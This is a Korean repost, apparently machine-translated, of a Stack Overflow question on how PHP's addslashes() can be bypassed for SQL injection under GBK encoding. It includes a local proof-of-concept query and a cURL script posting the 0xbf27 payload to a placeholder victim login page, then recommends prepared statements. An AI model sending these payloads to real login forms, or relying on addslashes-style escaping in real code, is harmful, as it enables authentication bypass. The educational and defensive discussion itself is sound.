programing

adslash()를 통한 SQL 주입의 예?

shortcode 2022. 10. 5. 21:50
반응형

adslash()를 통한 SQL 주입의 예?

PHP에서, 나는 그것을 알고 있다.mysql_real_escape사용하는 것보다 훨씬 안전합니다.addslashes하지만, 나는 그 상황의 예를 찾을 수 없었다.addslashesSQL 주입이 발생할 수 있습니다.

누가 예를 들어줄 수 있나요?

여기 당신이 원하는 기사가 있습니다.

기본적으로 공격이 작동하는 방법은addslashes()백슬래시가 유효한 멀티바이트시퀀스의 일부가 됨으로써 그 의미를 상실하도록 멀티바이트 문자의 중간에 백슬래시를 배치한다.

기사의 일반적인 경고:

이러한 유형의 공격은 유효한 멀티바이트 문자가 다음 문자로 끝나는 모든 문자 인코딩에서 가능합니다.0x5c,왜냐면addslashes()는 뒤에 나오는 단일 따옴표를 피하는 대신 유효한 멀티바이트 문자를 작성하도록 속일 수 있습니다.UTF-8은 이 설명에 맞지 않습니다.

Chris Shiflett은 아래의 예에서 "데이터베이스에서 GBK 인코딩을 사용할 때 시도하면 당연히 효과가 있습니다."라고 명확하게 설명합니다.제가 시도해도 SQL 주입의 가능성은 매우 적지만 지식과 능력이 뛰어난 사람이 쉽게 주입할 수 있다는 것을 증명합니다.여기 예가 있습니다...

<?php 

       $mysql = array();
       $db = mysqli_init();
       $db->real_connect('localhost', 'myuser', 'mypass', 'mydb');

       /* SQL Injection Example */

       $_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';
       $_POST['password'] = 'guess';

       $mysql['username'] = addslashes($_POST['username']);
       $mysql['password'] = addslashes($_POST['password']);

       $sql = "SELECT * FROM   users
               WHERE username = '{$mysql['username']}'
               AND password = '{$mysql['password']}'";

       $result = $db->query($sql);

       if ($result->num_rows) {
              /* Success */
       } else {
              /* Failure */
       }

?>

addslash() 또는 magic_quotes_gpc를 사용하는 것은 일반적으로 다소 안전한 것으로 간주되지만 GBK를 사용하면 거의 사용할 수 없게 됩니다.다음 PHP cURL 스크립트는 주입을 사용할 수 있습니다.이것이 조금 더 이해하는데 도움이 되었으면 합니다.

<?php

       $url     = "http://www.victimsite.com/login.php";
       $ref     = "http://www.victimsite.com/index.php";
       $session = "PHPSESSID=abcdef01234567890abcdef01";

       $ch      = curl_init();

       curl_setopt( $ch, CURLOPT_URL,            $url     );
       curl_setopt( $ch, CURLOPT_REFERER,        $ref     );
       curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE     );
       curl_setopt( $ch, CURLOPT_COOKIE,         $session );
       curl_setopt( $ch, CURLOPT_POST,           TRUE     );
       curl_setopt( $ch, CURLOPT_POSTFIELDS,     "username=" . chr(0xbf) . chr(0x27) .
                                                 "OR 1=1/*&submit=1" );

       $data = curl_exec( $ch );

       print( $data );
       curl_close( $ch );
 ?>

여기에 있는 답변의 독자를 위한 추가 정보:이 MySQL 버그는 이미 수정되었습니다.

또한, 준비된 문장을 사용하는 것은 항상 좋은 관행입니다.이는 가장 악용되지 않고 쿼리를 실행할 수 있는 방법입니다(몇 가지 사용 사례에서는 가장 성능이 우수합니다).그리고 그것은 당신을 이 결점으로부터 구했을 것입니다.

mysql_real_escape_string() 대 Prepared 스테이트먼트 mysql_real_escape_string()이 100% 안전하지 않다는 것을 명확하게 설명합니다.

mysql_set_charset("GBK")를 사용하여 mysql_query("SET CHARTER SET "GBK")를 대체하면 mysql_real_escape_string()은 100% 안전합니다.

언급URL : https://stackoverflow.com/questions/860954/examples-of-sql-injections-through-addslashes

반응형